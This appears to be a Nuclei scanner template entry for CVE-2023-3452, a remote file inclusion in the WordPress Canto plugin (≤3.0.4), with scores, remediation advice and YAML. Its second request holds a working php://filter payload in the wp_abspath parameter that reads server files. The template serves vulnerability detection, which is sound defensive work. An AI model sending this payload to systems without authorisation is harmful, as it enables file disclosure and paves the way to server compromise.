CVE-2023-3452: WordPress Canto Plugin <= 3.0.4 - File Inclusion
- Template: CVE-2023-3452
- Name: WordPress Canto Plugin <= 3.0.4 - File Inclusion
- Description: Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wp_abspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allow_url_include is enabled, exploit requires allow_url_include to be enabled.
- Impact: Attackers can execute arbitrary remote code on the server, leading to full server compromise.
- Remediation: Update to the latest version of the Canto plugin, above 3.0.4, or disable allow_url_include in PHP configuration.
- Severity: critical
- Authors: omarkurt
- Tags: cve, cve2023, wordpress, wp-plugin, canto, rfi, rce, unauth, critical
- References: https://www.exploit-db.com/exploits/51826, https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/canto/canto-304-unauthenticated-remote-file-inclusion, https://nvd.nist.gov/vuln/detail/CVE-2023-3452
- Cves: CVE-2023-3452
- Verified: yes
- Max requests: 3
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-3452.yaml
- Digest: 490a004630440220387dacbf659d64dc31f489bf6eaa3c2231ce2399ee39ff7ccc13f3d22db6b6db02207c21178673547e0c2a0f09479539d5e3b2d49b390e851c63a436b81a2a62d97b
- Created at: 2026-02-25T07:27:14Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 272
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-3452.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-98
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.06958
- Epss percentile: 0.94272
- Not known: cpe
Metadata
- Max-request: 3
- Verified: yes
Labels
- Name: WordPress Canto Plugin - File Inclusion
- Impact: Attackers can execute arbitrary remote code on the server, leading to full server compromise.
- Remediation: Update to the latest version of the Canto plugin, above 3.0.4, or disable allow_url_include in PHP configuration.
- Vulnerability type: file_inclusion
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-3452
- Not known: requirements
```yaml
id: CVE-2023-3452
info:
name: WordPress Canto Plugin <= 3.0.4 - File Inclusion
author: omarkurt
severity: critical
description: |
Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wp_abspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allow_url_include is enabled, exploit requires allow_url_include to be enabled.
impact: |
Attackers can execute arbitrary remote code on the server, leading to full server compromise.
remediation: |
Update to the latest version of the Canto plugin, above 3.0.4, or disable allow_url_include in PHP configuration.
reference:
- https://www.exploit-db.com/exploits/51826
- https://nvd.nist.gov/vuln/detail/CVE-2023-3452
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-3452
epss-score: 0.06958
epss-percentile: 0.94272
cwe-id: CWE-98
metadata:
verified: true
max-request: 3
tags: cve,cve2023,wordpress,wp-plugin,canto,rfi,rce,unauth,critical
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/canto/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'compare_versions(version, "<= 3.0.4")'
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET /wp-content/plugins/canto/includes/lib/download.php?wp_abspath=php://filter/convert.base64-encode/resource=/var/www/html HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "PD9waHAK", "V29yZFByZXNz")'
- 'status_code == 200'
condition: and
digest: 490a004630440220387dacbf659d64dc31f489bf6eaa3c2231ce2399ee39ff7ccc13f3d22db6b6db02207c21178673547e0c2a0f09479539d5e3b2d49b390e851c63a436b81a2a62d97b:922c64590222798bb761d5b6d8e72950
```